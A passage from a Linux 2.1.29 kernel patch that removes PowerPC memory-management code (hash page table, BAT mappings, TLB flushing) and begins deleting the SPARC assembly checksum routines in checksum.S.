0,reserved = 0; - unsigned long shared = 0; - PTE *ptr; - unsigned long full = 0, overflow = 0; - unsigned int ti; - - printk("Mem-info:\n"); - show_free_areas(); - printk("Free swap: %6dkB\n",nr_swap_pages<<(PAGE_SHIFT-10)); - i = MAP_NR(high_memory); - while (i-- > 0) { - total++; - if (PageReserved(mem_map+i)) - reserved++; - else if (!mem_map[i].count) - free++; - else - shared += mem_map[i].count-1; - } - printk("%lu pages of RAM\n",total); - printk("%lu free pages\n",free); - printk("%lu reserved pages\n",reserved); - printk("%lu pages shared\n",shared); - show_buffers(); -#ifdef CONFIG_NET - show_net_buffers(); -#endif -#ifdef HASHSTATS - printk("Hash Hits %u entries (buckets)\n",(Hash_size/sizeof(struct _PTE))/8); - for ( i = 0; i < (Hash_size/sizeof(struct _PTE))/8; i++ ) - { - if ( hashhits[i] >= 20 ) - { - printk("[%lu] \t %lu\n", i,hashhits[i]); - } - } -#endif - - for ( ptr = Hash ; ptr <= Hash+Hash_size ; ptr++) - { - if (ptr->v) - { - full++; - if (ptr->h == 1) - overflow++; - } - } - printk("Hash Table: %dkB Buckets: %dk PTEs: %d/%d (%%%d full) %d overflowed\n", - Hash_size>>10, (Hash_size/(sizeof(PTE)*8)) >> 10, - full,Hash_size/sizeof(PTE), - (full*100)/(Hash_size/sizeof(PTE)), - overflow); - printk(" Task context vsid0\n"); - for ( ti = 0; ti < NR_TASKS ; ti++ ); - { - if ( task[ti] ) - { - printk("%5d %8x %8x\n", - task[ti]->pid,task[ti]->mm->context, - ((SEGREG *)task[ti]->tss.segs)[0].vsid); - } - } - -} - -extern unsigned long free_area_init(unsigned long, unsigned long); - -unsigned long paging_init(unsigned long start_mem, unsigned long end_mem) -{ - return free_area_init(start_mem, end_mem); -} - -void mem_init(unsigned long start_mem, unsigned long end_mem) -{ - int codepages = 0; - int datapages = 0; - unsigned long tmp; - extern int etext; - - end_mem &= PAGE_MASK; - high_memory = (void *)end_mem; - max_mapnr = MAP_NR(end_mem); - /* clear the zero-page */ - memset(empty_zero_page, 0, PAGE_SIZE); - - /* mark usable pages in the mem_map[] */ - start_mem = PAGE_ALIGN(start_mem); - - for (tmp = KERNELBASE ; tmp < (long)high_memory ; tmp += PAGE_SIZE) - { - if (tmp < start_mem) - { - set_bit(PG_reserved, &mem_map[MAP_NR(tmp)].flags); - if (tmp < (unsigned long) &etext) - { - codepages++; - } else - { - datapages++; - } - continue; - } - clear_bit(PG_reserved, &mem_map[MAP_NR(tmp)].flags); - mem_map[MAP_NR(tmp)].count = 1; - free_page(tmp); - } - tmp = nr_free_pages << PAGE_SHIFT; - printk("Memory: %luk/%luk available (%dk kernel code, %dk data)\n", - tmp >> 10, - ((int)high_memory - (int)KERNELBASE) >> 10, - codepages << (PAGE_SHIFT-10), - datapages << (PAGE_SHIFT-10)); - /* invalidate();*/ - return; -} - -void free_initmem(void) -{ - /* To be written */ -} - -void si_meminfo(struct sysinfo *val) -{ - int i; - - i = ((int)high_memory & 0x00FFFFFF) >> PAGE_SHIFT; - val->totalram = 0; - val->sharedram = 0; - val->freeram = nr_free_pages << PAGE_SHIFT; - val->bufferram = buffermem; - while (i-- > 0) { - if (PageReserved(mem_map+i)) - continue; - val->totalram++; - if (!mem_map[i].count) - continue; - val->sharedram += mem_map[i].count-1; - } - val->totalram <<= PAGE_SHIFT; - val->sharedram <<= PAGE_SHIFT; - return; -} - -BAT BAT0 = - { - { - 0x80000000>>17, /* bepi */ - BL_256M, /* bl */ - 1, /* vs -- supervisor mode valid */ - 1, /* vp -- user mode valid */ - }, - { - 0x80000000>>17, /* brpn */ - 1, /* write-through */ - 1, /* cache-inhibited */ - 0, /* memory coherence */ - 1, /* guarded */ - BPP_RW /* protection */ - } - }; -BAT BAT1 = - { - { - 0xC0000000>>17, /* bepi */ - BL_256M, /* bl */ - 1, /* vs */ - 1, /* vp */ - }, - { - 0xC0000000>>17, /* brpn */ - 1, /* w */ - 1, /* i (cache disabled) */ - 0, /* m */ - 1, /* g */ - BPP_RW /* pp */ - } - }; -BAT BAT2 = - { - { - 0x90000000>>17, /* bepi */ - BL_256M, /* this gets set to amount of phys ram */ - 1, /* vs */ - 0, /* vp */ - }, - { - 0x00000000>>17, /* brpn */ - 0, /* w */ - 0, /* i */ - 0, /* m */ - 0, /* g */ - BPP_RW /* pp */ - } - }; -BAT BAT3 = - { - { - 0x00000000>>17, /* bepi */ - BL_256M, /* bl */ - 0, /* vs */ - 0, /* vp */ - }, - { - 0x00000000>>17, /* brpn */ - 1, /* w */ - 1, /* i (cache disabled) */ - 0, /* m */ - 0, /* g */ - BPP_RW /* pp */ - } - }; -BAT TMP_BAT2 = - { /* 0x9XXXXXXX -> 0x0XXXXXXX */ - { - 0x90000000>>17, /* bepi */ - BL_256M, /* bl */ - 1, /* vs */ - 1, /* vp */ - }, - { - 0x00000000>>17, /* brpn */ - 1, /* w */ - 0, /* i (cache enabled) */ - 0, /* m */ - 0, /* g */ - BPP_RW /* pp */ - } - }; - - -#ifndef NULL -#define NULL 0 -#endif - -/* - * This code is called to create a minimal mapped environment. - * It is called with the MMU on, but with only a BAT register - * set up to cover the code/data. After this routine runs, - * the BAT mapping is withdrawn and all mappings must be complete. - */ - - - - -extern char _start[], _end[]; - -void MMU_init(void) -{ - extern RESIDUAL res; - extern unsigned long resptr; - int i, p; - SEGREG *segs; - - /* copy residual data */ - if ( resptr ) - memcpy( &res, (void *)(resptr+KERNELBASE), sizeof(RESIDUAL) ); - else - bzero( &res, sizeof(RESIDUAL) ); /* clearing bss probably clears this but... */ - - end_of_DRAM = (unsigned long *)find_end_of_memory(); - _SDR1 = ((unsigned long)Hash - KERNELBASE) | Hash_mask; -#if 0 - printk("Hash %08x\n",(unsigned long)Hash); - printk("Hash_mask %08x\n",Hash_mask); - printk("Hash_size %08x\n",Hash_size); - printk("SDR1 %08x\n",_SDR1); -#endif - /* Segment registers */ - segs = (SEGREG *)init_task.tss.segs; - for (i = 0; i < 16; i++) - { - segs[i].ks = 0; - segs[i].kp = 1; -#if 1 - if ( i < 8 ) - segs[i].vsid = i+10000; - else -#else - if ( i < 8 ) - segs[i].vsid = i<<5; -#endif - segs[i].vsid = i; - } - - - - /* Hard map in any special local resources */ - if (isBeBox[0]) - { - /* Map in one page for the BeBox motherboard I/O */ - end_of_DRAM = (unsigned long *)((unsigned long)end_of_DRAM - PAGE_SIZE); -#if 0 - BeBox_IO_page = (unsigned char *)0x7FFFF000; -#endif - BeBox_IO_page = (unsigned char *)end_of_DRAM; - MMU_disable_cache_for_page(&init_task.tss, BeBox_IO_page); - } -} - -/* - * Insert(create) a hardware page table entry - */ -int inline MMU_hash_page(struct thread_struct *tss, unsigned long va, pte *pg) -{ - int hash, page_index, segment, i, h, _h, api, vsid, perms; - PTE *_pte, *empty, *slot; - PTE *slot0, *slot1; - extern char _etext; - page_index = ((int)va & 0x0FFFF000) >> 12; - segment = (unsigned int)va >> 28; - api = page_index >> 10; - vsid = ((SEGREG *)tss->segs)[segment].vsid; - empty = slot = (PTE *)NULL; - - if ( (va <= _etext) && (va >= KERNELBASE)) - { - printk("MMU_hash_page: called on kernel page mapped with bats va %x\n", - va); - } - - /* check first hash bucket */ - h = 0; - hash = page_index ^ vsid; - hash &= 0x3FF | (Hash_mask << 10); - hash *= 8; /* 8 entries in each bucket */ - _pte = &Hash[hash]; - slot0 = _pte; - for (i = 0; i < 8; i++, _pte++) - { - if (_pte->v && _pte->vsid == vsid && _pte->h == h && _pte->api == api) - { - slot = _pte; - goto found_it; - } - if ((empty == NULL) && (!_pte->v)) - { - empty = _pte; - _h = h; - } - } - - /* check second hash bucket */ - h = 1; - hash = page_index ^ vsid; - hash = ~hash; - hash &= 0x3FF | (Hash_mask << 10); - hash *= 8; /* 8 entries in each bucket */ - _pte = &Hash[hash]; - slot1 = _pte; - for (i = 0; i < 8; i++, _pte++) - { - if (_pte->v && _pte->vsid == vsid && _pte->h == h && _pte->api == api) - { - slot = _pte; - goto found_it; - } - if ((empty == NULL) && (!_pte->v)) - { - empty = _pte; - _h = h; - } - } - - if (empty == (PTE *)NULL) - { -#if 1 - printk("Both hash buckets full! va %x vsid %x current %s (%d)\n", - va,vsid,current->comm,current->pid); -#endif - slot = slot1; - h = 1; - } - else - { - slot = empty; - h = _h; - } -found_it: -#ifdef HASHSTATS - hashhits[hash]++; -#endif - _tlbie(va); /* Clear TLB */ - /* Fill in table */ - slot->v = 1; - slot->vsid = vsid; - slot->h = h; - slot->api = api; - if (((pg->page_num << 12) & 0xF0000000) == KERNELBASE) - { - slot->rpn = pg->page_num - (KERNELBASE>>12); - } else - { - slot->rpn = pg->page_num; - } - slot->r = 0; - slot->c = 0; - slot->i = 0; - slot->g = 0; - if (cache_is_copyback) - { - if (kernel_pages_are_copyback || (pg->flags & _PAGE_USER) || (va < (unsigned long)&_etext)) - { /* All User & Kernel TEXT pages are copy-back */ - slot->w = 0; - slot->m = 1; - } else - { /* Kernel DATA pages are write-thru */ - slot->w = 1; - slot->m = 0; - } - } else - { - slot->w = 1; - slot->m = 0; - } - if (pg->flags & _PAGE_USER) - { - if (pg->flags & _PAGE_RW) - { /* Read/write page */ - perms = PP_RWRW; - } else - { /* Read only page */ - perms = PP_RWRX; - perms = PP_RXRX; - } - } else - { /* Kernel pages */ - perms = PP_RWRW; - perms = PP_RWXX; - } - slot->pp = perms; - return (0); -} - -/* - * Disable cache for a particular page - */ -MMU_disable_cache_for_page(struct thread_struct *tss, unsigned long va) -{ - int hash, page_index, segment, i, h, _h, api, vsid, perms; - PTE *_pte, *empty, *slot; - PTE *slot0, *slot1; - extern char _etext; - page_index = ((int)va & 0x0FFFF000) >> 12; - segment = (unsigned int)va >> 28; - api = page_index >> 10; - vsid = ((SEGREG *)tss->segs)[segment].vsid; - empty = slot = (PTE *)NULL; - for (_h = 0; _h < 2; _h++) - { - hash = page_index ^ vsid; - if (_h) - { - hash = ~hash; /* Secondary hash uses ones-complement */ - } - hash &= 0x3FF | (Hash_mask << 10); - hash *= 8; /* Eight entries / hash bucket */ - _pte = &Hash[hash]; - /* Save slot addresses in case we have to purge */ - if (_h) - { - slot1 = _pte; - } else - { - slot0 = _pte; - } - for (i = 0; i < 8; i++, _pte++) - { - if (_pte->v && _pte->vsid == vsid && _pte->h == _h && _pte->api == api) - { /* Found it! */ - h = _h; - slot = _pte; - goto found_it; - } - if ((empty == (PTE *)NULL) && !_pte->v) - { - h = _h; - empty = _pte; - } - } - } -found_it: - _tlbie(va); /* Clear TLB */ - slot->i = 1; - slot->m = 0; -} - - -/* - * invalidate a hardware hash table pte - */ -inline void MMU_invalidate_page(struct mm_struct *mm, unsigned long va) -{ - int hash, page_index, segment, i, h, _h, api, vsid, perms; - PTE *_pte, *slot; - int flags = 0; - page_index = ((int)va & 0x0FFFF000) >> 12; - segment = (unsigned int)va >> 28; - api = page_index >> 10; - vsid = mm->context | segment; - for (_h = 0; _h < 2; _h++) - { - hash = page_index ^ vsid; - if (_h) - { - hash = ~hash; /* Secondary hash uses ones-complement */ - } - hash &= 0x3FF | (Hash_mask << 10); - hash *= 8; /* Eight entries / hash bucket */ - _pte = &Hash[hash]; - for (i = 0; i < 8; i++, _pte++) - { - if (_pte->v && _pte->vsid == vsid && _pte->h == _h && _pte->api == api) - { /* Found it! */ - _tlbie(va); /* Clear TLB */ - if (_pte->r) flags |= _PAGE_ACCESSED; - if (_pte->c) flags |= _PAGE_DIRTY; - _pte->v = 0; - return (flags); - } - } - } - _tlbie(va); - return (flags); -} - - -inline void -flush_cache_all(void) -{ -} -inline void -flush_cache_mm(struct mm_struct *mm) -{ -} -inline void -flush_cache_page(struct vm_area_struct *vma, long va) -{ -} -inline void -flush_cache_range(struct mm_struct *mm, unsigned long va_start, unsigned long va_end) -{ -} - -inline void -cache_mode(char *str, int *ints) -{ - cache_is_copyback = ints[0]; -} - -/* - * TLB flushing: - * - * - flush_tlb() flushes the current mm struct TLBs - * - flush_tlb_all() flushes all processes TLBs - * - flush_tlb_mm(mm) flushes the specified mm context TLB's - * - flush_tlb_page(vma, vmaddr) flushes one page - * - flush_tlb_range(mm, start, end) flushes a range of pages - * - * since the hardware hash table functions as an extension of the - * tlb as far as the linux tables are concerned, flush them too. - * -- Cort - */ -inline void -flush_tlb(void) -{ - PTE *ptep; - int context = current->mm->context; - struct vm_area_struct *v; - unsigned int i; - - v = current->mm->mmap; - - /* for every virtual memory address in the current context -- flush - the hash table */ - while ( v != NULL ) - { - for ( i = v->vm_start ; i <= v->vm_end; i += PAGE_SIZE) - { - MMU_invalidate_page(v->vm_mm,i); - } - v = v->vm_next; - } - - _tlbia(); -} - -/* flush all tlb/hash table entries except for kernels - - although the kernel is mapped with the bats, it's dynamic areas - obtained via kmalloc are mapped by the seg regs - -- Cort - */ -inline void -flush_tlb_all(void) -{ - PTE *ptep; - - /* flush hash table */ - for ( ptep = Hash ; ptep < (PTE *)((unsigned long)Hash+Hash_size) ; ptep++ ) - { - /* if not kernel vsids 0-7 (vsid greater than that for process 0)*/ - if ( (ptep->vsid > 7 ) && (ptep->v)) - { - ptep->v = 0; - } - } - - _tlbia(); -} - -inline void -flush_tlb_mm(struct mm_struct *mm) -{ - PTE *ptep; - int context = mm->context; - struct vm_area_struct *v; - unsigned int i; - - v = mm->mmap; - while ( v != NULL ) - { - for ( i = v->vm_start ; i <= v->vm_end; i += PAGE_SIZE) - { - MMU_invalidate_page(v->vm_mm,i); - } - v = v->vm_next; - } - - _tlbia(); -} - - -inline void -flush_tlb_page(struct vm_area_struct *vma, long vmaddr) -{ - MMU_invalidate_page(vma->vm_mm,vmaddr); -} - - -/* for each page addr in the range, call mmu_invalidat_page() - if the range is very large and the hash table is small it might be faster to - do a search of the hash table and just invalidate pages that are in the range - but that's for study later. - -- Cort - */ -inline void -flush_tlb_range(struct mm_struct *mm, long start, long end) -{ - long i; - for ( i = PAGE_ALIGN(start-PAGE_SIZE) ; i < PAGE_ALIGN(end) ; i += PAGE_SIZE) - { - MMU_invalidate_page(mm,i); - } -} - -inline void -flush_page_to_ram(unsigned long page) -{ -} diff -u --recursive --new-file linux-2.1.29/arch/sparc/lib/checksum.S linux/arch/sparc/lib/checksum.S --- linux-2.1.29/arch/sparc/lib/checksum.S Sat May 10 18:17:45 1997 +++ linux/arch/sparc/lib/checksum.S Wed Dec 31 19:00:00 1969 @@ -1,581 +0,0 @@ -/* checksum.S: Sparc optimized checksum code. - * - * Copyright(C) 1995 Linus Torvalds - * Copyright(C) 1995 Miguel de Icaza - * Copyright(C) 1996 David S. Miller - * Copyright(C) 1997 Jakub Jelinek - * - * derived from: - * Linux/Alpha checksum c-code - * Linux/ix86 inline checksum assembly - * RFC1071 Computing the Internet Checksum (esp. Jacobsons m68k code) - * David Mosberger-Tang for optimized reference c-code - * BSD4.4 portable checksum routine - */ - -#include -#include - -#define CSUM_BIGCHUNK(buf, offset, sum, t0, t1, t2, t3, t4, t5) \ - ldd [buf + offset + 0x00], t0; \ - ldd [buf + offset + 0x08], t2; \ - addxcc t0, sum, sum; \ - addxcc t1, sum, sum; \ - ldd [buf + offset + 0x10], t4; \ - addxcc t2, sum, sum; \ - addxcc t3, sum, sum; \ - ldd [buf + offset + 0x18], t0; \ - addxcc t4, sum, sum; \ - addxcc t5, sum, sum; \ - addxcc t0, sum, sum; \ - addxcc t1, sum, sum; - -#define CSUM_LASTCHUNK(buf, offset, sum, t0, t1, t2, t3) \ - ldd [buf - offset - 0x08], t0; \ - ldd [buf - offset - 0x00], t2; \ - addxcc t0, sum, sum; \ - addxcc t1, sum, sum; \ - addxcc t2, sum, sum; \ - addxcc t3, sum, sum; - - /* Do end cruft out of band to get better cache patterns. */ -csum_partial_end_cruft: - be 1f ! caller asks %o1 & 0x8 - andcc %o1, 4, %g0 ! nope, check for word remaining - ldd [%o0], %g2 ! load two - addcc %g2, %o2, %o2 ! add first word to sum - addxcc %g3, %o2, %o2 ! add second word as well - add %o0, 8, %o0 ! advance buf ptr - addx %g0, %o2, %o2 ! add in final carry - andcc %o1, 4, %g0 ! check again for word remaining -1: be 1f ! nope, skip this code - andcc %o1, 3, %o1 ! check for trailing bytes - ld [%o0], %g2 ! load it - addcc %g2, %o2, %o2 ! add to sum - add %o0, 4, %o0 ! advance buf ptr - addx %g0, %o2, %o2 ! add in final carry - andcc %o1, 3, %g0 ! check again for trailing bytes -1: be 1f ! no trailing bytes, return - addcc %o1, -1, %g0 ! only one byte remains? - bne 2f ! at least two bytes more - subcc %o1, 2, %o1 ! only two bytes more? - b 4f ! only one byte remains - or %g0, %g0, %o4 ! clear fake hword value -2: lduh [%o0], %o4 ! get hword - be 6f ! jmp if only hword remains - add %o0, 2, %o0 ! advance buf ptr either way - sll %o4, 16, %o4 ! create upper hword -4: ldub [%o0], %o5 ! get final byte - sll %o5, 8, %o5 ! put into place - or %o5, %o4, %o4 ! coalese with hword (if any) -6: addcc %o4, %o2, %o2 ! add to sum -1: retl ! get outta here - addx %g0, %o2, %o0 ! add final carry into retval - - /* Also do alignment out of band to get better cache patterns. */ -csum_partial_fix_alignment: - cmp %o1, 6 - bl cpte - 0x4 - andcc %o0, 0x2, %g0 - be 1f - andcc %o0, 0x4, %g0 - lduh [%o0 + 0x00], %g2 - sub %o1, 2, %o1 - add %o0, 2, %o0 - sll %g2, 16, %g2 - addcc %g2, %o2, %o2 - srl %o2, 16, %g3 - addx %g0, %g3, %g2 - sll %o2, 16, %o2 - sll %g2, 16, %g3 - srl %o2, 16, %o2 - andcc %o0, 0x4, %g0 - or %g3, %o2, %o2 -1: be cpa - andcc %o1, 0xffffff80, %o3 - ld [%o0 + 0x00], %g2 - sub %o1, 4, %o1 - addcc %g2, %o2, %o2 - add %o0, 4, %o0 - addx %g0, %o2, %o2 - b cpa - andcc %o1, 0xffffff80, %o3 - - /* The common case is to get called with a nicely aligned - * buffer of size 0x20. Follow the code path for that case. - */ - .globl C_LABEL(csum_partial) -C_LABEL(csum_partial): /* %o0=buf, %o1=len, %o2=sum */ - andcc %o0, 0x7, %g0 ! alignment problems? - bne csum_partial_fix_alignment ! yep, handle it - sethi %hi(cpte - 8), %g7 ! prepare table jmp ptr - andcc %o1, 0xffffff80, %o3 ! num loop iterations -cpa: be 3f ! none to do - andcc %o1, 0x70, %g1 ! clears carry flag too -5: CSUM_BIGCHUNK(%o0, 0x00, %o2, %o4, %o5, %g2, %g3, %g4, %g5) - CSUM_BIGCHUNK(%o0, 0x20, %o2, %o4, %o5, %g2, %g3, %g4, %g5) - CSUM_BIGCHUNK(%o0, 0x40, %o2, %o4, %o5, %g2, %g3, %g4, %g5) - CSUM_BIGCHUNK(%o0, 0x60, %o2, %o4, %o5, %g2, %g3, %g4, %g5) - addx %g0, %o2, %o2 ! sink in final carry - subcc %o3, 128, %o3 ! detract from loop iters - bne 5b ! more to do - add %o0, 128, %o0 ! advance buf ptr - andcc %o1, 0x70, %g1 ! clears carry flag too -3: be cpte ! nope - andcc %o1, 0xf, %g0 ! anything left at all? - srl %g1, 1, %o4 ! compute offset - sub %g7, %g1, %g7 ! adjust jmp ptr - sub %g7, %o4, %g7 ! final jmp ptr adjust - jmp %g7 + %lo(cpte - 8) ! enter the table - add %o0, %g1, %o0 ! advance buf ptr -cptbl: CSUM_LASTCHUNK(%o0, 0x68, %o2, %g2, %g3, %g4, %g5) - CSUM_LASTCHUNK(%o0, 0x58, %o2, %g2, %g3, %g4, %g5) - CSUM_LASTCHUNK(%o0, 0x48, %o2, %g2, %g3, %g4, %g5) - CSUM_LASTCHUNK(%o0, 0x38, %o2, %g2, %g3, %g4, %g5) - CSUM_LASTCHUNK(%o0, 0x28, %o2, %g2, %g3, %g4, %g5) - CSUM_LASTCHUNK(%o0, 0x18, %o2, %g2, %g3, %g4, %g5) - CSUM_LASTCHUNK(%o0, 0x08, %o2, %g2, %g3, %g4, %g5) - addx %g0, %o2, %o2 ! fetch final carry - andcc %o1, 0xf, %g0 ! anything left at all? -cpte: bne csum_partial_end_cruft ! yep, handle it - andcc %o1, 8, %g0 ! check how much -cpout: retl ! get outta here - mov %o2, %o0 ! return computed csum - - .globl C_LABEL(__csum_partial_copy_start), C_LABEL(__csum_partial_copy_end) -C_LABEL(__csum_partial_copy_start): - -#define EX(x,y,a,b,z) \ -98: x,y; \ - .section .fixup,z##alloc,z##execinstr; \ - .align 4; \ -99: ba 30f; \ - a, b, %o3; \ - .section __ex_table,z##alloc; \ - .align 4; \ - .word 98b, 99b; \ - .text; \ - .align 4 - -#define EX2(x,y,z) \ -98: x,y; \ - .section __ex_table,z##alloc; \ - .align 4; \ - .word 98b, 30f; \ - .text; \ - .align 4 - -#define EX3(x,y,z) \ -98: x,y; \ - .section __ex_table,z##alloc; \ - .align 4; \ - .word 98b, 96f; \ - .text; \ - .align 4 - -#define EXT(start,end,handler,z) \ - .section __ex_table,z##alloc; \ - .align 4; \ - .word start, 0, end, handler; \ - .text; \ - .align 4 - - /* This aligned version executes typically in 8.5 superscalar cycles, this - * is the best I can do. I say 8.5 because the final add will pair with - * the next ldd in the main unrolled loop. Thus the pipe is always full. - * If you change these macros (including order of instructions), - * please check the fixup code below as well. - */ -#define CSUMCOPY_BIGCHUNK_ALIGNED(src, dst, sum, off, t0, t1, t2, t3, t4, t5, t6, t7) \ - ldd [src + off + 0x00], t0; \ - ldd [src + off + 0x08], t2; \ - addxcc t0, sum, sum; \ - ldd [src + off + 0x10], t4; \ - addxcc t1, sum, sum; \ - ldd [src + off + 0x18], t6; \ - addxcc t2, sum, sum; \ - std t0, [dst + off + 0x00]; \ - addxcc t3, sum, sum; \ - std t2, [dst + off + 0x08]; \ - addxcc t4, sum, sum; \ - std t4, [dst + off + 0x10]; \ - addxcc t5, sum, sum; \ - std t6, [dst + off + 0x18]; \ - addxcc t6, sum, sum; \ - addxcc t7, sum, sum; - - /* 12 superscalar cycles seems to be the limit for this case, - * because of this we thus do all the ldd's together to get - * Viking MXCC into streaming mode. Ho hum... - */ -#define CSUMCOPY_BIGCHUNK(src, dst, sum, off, t0, t1, t2, t3, t4, t5, t6, t7) \ - ldd [src + off + 0x00], t0; \ - ldd [src + off + 0x08], t2; \ - ldd [src + off + 0x10], t4; \ - ldd [src + off + 0x18], t6; \ - st t0, [dst + off + 0x00]; \ - addxcc t0, sum, sum; \ - st t1, [dst + off + 0x04]; \ - addxcc t1, sum, sum; \ - st t2, [dst + off + 0x08]; \ - addxcc t2, sum, sum; \ - st t3, [dst + off + 0x0c]; \ - addxcc t3, sum, sum; \ - st t4, [dst + off + 0x10]; \ - addxcc t4, sum, sum; \ - st t5, [dst + off + 0x14]; \ - addxcc t5, sum, sum; \ - st t6, [dst + off + 0x18]; \ - addxcc t6, sum, sum; \ - st t7, [dst + off + 0x1c]; \ - addxcc t7, sum, sum; - - /* Yuck, 6 superscalar cycles... */ -#define CSUMCOPY_LASTCHUNK(src, dst, sum, off, t0, t1, t2, t3) \ - ldd [src - off - 0x08], t0; \ - ldd [src - off - 0x00], t2; \ - addxcc t0, sum, sum; \ - st t0, [dst - off - 0x08]; \ - addxcc t1, sum, sum; \ - st t1, [dst - off - 0x04]; \ - addxcc t2, sum, sum; \ - st t2, [dst - off - 0x00]; \ - addxcc t3, sum, sum; \ - st t3, [dst - off + 0x04]; - - /* Handle the end cruft code out of band for better cache patterns. */ -cc_end_cruft: - be 1f - andcc %o3, 4, %g0 - EX(ldd [%o0 + 0x00], %g2, and %o3, 0xf,#) - add %o1, 8, %o1 - addcc %g2, %g7, %g7 - add %o0, 8, %o0 - addxcc %g3, %g7, %g7 - EX2(st %g2, [%o1 - 0x08],#) - addx %g0, %g7, %g7 - andcc %o3, 4, %g0 - EX2(st %g3, [%o1 - 0x04],#) -1: be 1f - andcc %o3, 3, %o3 - EX(ld [%o0 + 0x00], %g2, add %o3, 4,#) - add %o1, 4, %o1 - addcc %g2, %g7, %g7 - EX2(st %g2, [%o1 - 0x04],#) - addx %g0, %g7, %g7 - andcc %o3, 3, %g0 - add %o0, 4, %o0 -1: be 1f - addcc %o3, -1, %g0 - bne 2f - subcc %o3, 2, %o3 - b 4f - or %g0, %g0, %o4 -2: EX(lduh [%o0 + 0x00], %o4, add %o3, 2,#) - add %o0, 2, %o0 - EX2(sth %o4, [%o1 + 0x00],#) - be 6f - add %o1, 2, %o1 - sll %o4, 16, %o4 -4: EX(ldub [%o0 + 0x00], %o5, add %g0, 1,#) - EX2(stb %o5, [%o1 + 0x00],#) - sll %o5, 8, %o5 - or %o5, %o4, %o4 -6: addcc %o4, %g7, %g7 -1: retl - addx %g0, %g7, %o0 - - /* Also, handle the alignment code out of band. */ -cc_dword_align: - cmp %g1, 6 - bl,a ccte - andcc %g1, 0xf, %o3 - andcc %o0, 0x1, %g0 - bne ccslow - andcc %o0, 0x2, %g0 - be 1f - andcc %o0, 0x4, %g0 - EX(lduh [%o0 + 0x00], %g4, add %g1, 0,#) - sub %g1, 2, %g1 - EX2(sth %g4, [%o1 + 0x00],#) - add %o0, 2, %o0 - sll %g4, 16, %g4 - addcc %g4, %g7, %g7 - add %o1, 2, %o1 - srl %g7, 16, %g3 - addx %g0, %g3, %g4 - sll %g7, 16, %g7 - sll %g4, 16, %g3 - srl %g7, 16, %g7 - andcc %o0, 0x4, %g0 - or %g3, %g7, %g7 -1: be 3f - andcc %g1, 0xffffff80, %g0 - EX(ld [%o0 + 0x00], %g4, add %g1, 0,#) - sub %g1, 4, %g1 - EX2(st %g4, [%o1 + 0x00],#) - add %o0, 4, %o0 - addcc %g4, %g7, %g7 - add %o1, 4, %o1 - addx %g0, %g7, %g7 - b 3f - andcc %g1, 0xffffff80, %g0 - - /* Sun, you just can't beat me, you just can't. Stop trying, - * give up. I'm serious, I am going to kick the living shit - * out of you, game over, lights out. - */ - .align 8 - .globl C_LABEL(__csum_partial_copy_sparc_generic) -C_LABEL(__csum_partial_copy_sparc_generic): - /* %o0=src, %o1=dest, %g1=len, %g7=sum */ - xor %o0, %o1, %o4 ! get changing bits - andcc %o4, 3, %g0 ! check for mismatched alignment - bne ccslow ! better this than unaligned/fixups - andcc %o0, 7, %g0 ! need to align things? - bne cc_dword_align ! yes, we check for short lengths there - andcc %g1, 0xffffff80, %g0 ! can we use unrolled loop? -3: be 3f ! nope, less than one loop remains - andcc %o1, 4, %g0 ! dest aligned on 4 or 8 byte boundry? - be ccdbl + 4 ! 8 byte aligned, kick ass -5: CSUMCOPY_BIGCHUNK(%o0,%o1,%g7,0x00,%o4,%o5,%g2,%g3,%g4,%g5,%o2,%o3) - CSUMCOPY_BIGCHUNK(%o0,%o1,%g7,0x20,%o4,%o5,%g2,%g3,%g4,%g5,%o2,%o3) - CSUMCOPY_BIGCHUNK(%o0,%o1,%g7,0x40,%o4,%o5,%g2,%g3,%g4,%g5,%o2,%o3) - CSUMCOPY_BIGCHUNK(%o0,%o1,%g7,0x60,%o4,%o5,%g2,%g3,%g4,%g5,%o2,%o3) -10: EXT(5b, 10b, 20f,#) ! note for exception handling - sub %g1, 128, %g1 ! detract from length - addx %g0, %g7, %g7 ! add in last carry bit - andcc %g1, 0xffffff80, %g0 ! more to csum? - add %o0, 128, %o0 ! advance src ptr - bne 5b ! we did not go negative, continue looping - add %o1, 128, %o1 ! advance dest ptr -3: andcc %g1, 0x70, %o2 ! can use table? -ccmerge:be ccte ! nope, go and check for end cruft - andcc %g1, 0xf, %o3 ! get low bits of length (clears carry btw) - srl %o2, 1, %o4 ! begin negative offset computation - sethi %hi(12f), %o5 ! set up table ptr end - add %o0, %o2, %o0 ! advance src ptr - sub %o5, %o4, %o5 ! continue table calculation - sll %o2, 1, %g2 ! constant multiplies are fun... - sub %o5, %g2, %o5 ! some more adjustments - jmp %o5 + %lo(12f) ! jump into it, duff style, wheee... - add %o1, %o2, %o1 ! advance dest ptr (carry is clear btw) -cctbl: CSUMCOPY_LASTCHUNK(%o0,%o1,%g7,0x68,%g2,%g3,%g4,%g5) - CSUMCOPY_LASTCHUNK(%o0,%o1,%g7,0x58,%g2,%g3,%g4,%g5) - CSUMCOPY_LASTCHUNK(%o0,%o1,%g7,0x48,%g2,%g3,%g4,%g5) - CSUMCOPY_LASTCHUNK(%o0,%o1,%g7,0x38,%g2,%g3,%g4,%g5) - CSUMCOPY_LASTCHUNK(%o0,%o1,%g7,0x28,%g2,%g3,%g4,%g5) - CSUMCOPY_LASTCHUNK(%o0,%o1,%g7,0x18,%g2,%g3,%g4,%g5) - CSUMCOPY_LASTCHUNK(%o0,%o1,%g7,0x08,%g2,%g3,%g4,%g5) -12: EXT(cctbl, 12b, 22f,#) ! note for exception table handling - addx %g0, %g7, %g7 - andcc %o3, 0xf, %g0 ! check for low bits set -ccte: bne cc_end_cruft ! something left, handle it out of band - andcc %o3, 8, %g0 ! begin checks for that code - retl ! return - mov %g7, %o0 ! give em the computed checksum -ccdbl: CSUMCOPY_BIGCHUNK_ALIGNED(%o0,%o1,%g7,0x00,%o4,%o5,%g2,%g3,%g4,%g5,%o2,%o3) - CSUMCOPY_BIGCHUNK_ALIGNED(%o0,%o1,%g7,0x20,%o4,%o5,%g2,%g3,%g4,%g5,%o2,%o3) - CSUMCOPY_BIGCHUNK_ALIGNED(%o0,%o1,%g7,0x40,%o4,%o5,%g2,%g3,%g4,%g5,%o2,%o3) - CSUMCOPY_BIGCHUNK_ALIGNED(%o0,%o1,%g7,0x60,%o4,%o5,%g2,%g3,%g4,%g5,%o2,%o3) -11: EXT(ccdbl, 11b, 21f,#) ! note for exception table handling - sub %g1, 128, %g1 ! detract from length - addx %g0, %g7, %g7 ! add in last carry bit - andcc %g1, 0xffffff80, %g0 ! more to csum? - add %o0, 128, %o0 ! advance src ptr - bne ccdbl ! we did not go negative, continue looping - add %o1, 128, %o1 